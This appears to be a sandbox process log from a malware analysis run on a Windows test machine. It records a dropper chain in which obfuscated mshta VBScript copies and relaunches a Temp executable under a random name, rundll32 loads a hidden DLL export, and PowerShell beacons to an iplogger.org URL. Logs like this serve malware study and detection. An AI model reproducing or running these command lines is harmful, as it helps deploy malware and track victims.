cmd.exe "cmd" /c start "" "wwi.exe" & start "" "wwl.exe" & powershell -command "Invoke-WebRequest -Uri https://iplogger.org/1aX5d7"
1660mshta.exe "C:\Windows\System32\mshta.exe" VbscripT: clOSE( cReATEoBjEct ( "WSCriPt.ShELL" ). run ( "CmD.EXE /c CopY /y ""C:\Users\test22\AppData\Local\Temp\vss.exe"" W7sP3hTJPToEEt.exE && START W7sP3HTJPToeET.exe /PCOd0LPl_yA& if """" == """" for %j In (""C:\Users\test22\AppData\Local\Temp\vss.exe"" ) do taskkill /F -Im ""%~Nxj"" " , 0 ,TRUE ) )
1384cmd.exe "C:\Windows\System32\cmd.exe" /c CopY /y "C:\Users\test22\AppData\Local\Temp\vss.exe" W7sP3hTJPToEEt.exE && START W7sP3HTJPToeET.exe /PCOd0LPl_yA& if "" == "" for %j In ("C:\Users\test22\AppData\Local\Temp\vss.exe" ) do taskkill /F -Im "%~Nxj"
236mshta.exe "C:\Windows\System32\mshta.exe" VbscripT: clOSE( cReATEoBjEct ( "WSCriPt.ShELL" ). run ( "CmD.EXE /c CopY /y ""C:\Users\test22\AppData\Local\Temp\W7sP3hTJPToEEt.exE"" W7sP3hTJPToEEt.exE && START W7sP3HTJPToeET.exe /PCOd0LPl_yA& if ""/PCOd0LPl_yA"" == """" for %j In (""C:\Users\test22\AppData\Local\Temp\W7sP3hTJPToEEt.exE"" ) do taskkill /F -Im ""%~Nxj"" " , 0 ,TRUE ) )
2040cmd.exe "C:\Windows\System32\cmd.exe" /c CopY /y "C:\Users\test22\AppData\Local\Temp\W7sP3hTJPToEEt.exE" W7sP3hTJPToEEt.exE && START W7sP3HTJPToeET.exe /PCOd0LPl_yA& if "/PCOd0LPl_yA" == "" for %j In ("C:\Users\test22\AppData\Local\Temp\W7sP3hTJPToEEt.exE" ) do taskkill /F -Im "%~Nxj"
2088rundll32.exe "C:\Windows\System32\rundll32.exe" GBmH.yE,MSoGFUg
1312taskkill.exe taskkill /F -Im "vss.exe"
1776iexplore.exe "C:\Program Files (x86)\Internet Explorer\iexplore.exe" SCODEF:1580 CREDAT:145409
876wwl.exe "wwl.exe"
1376powershell.exe powershell -command "Invoke-WebRequest -Uri https://iplogger.org/1aX5d7"
508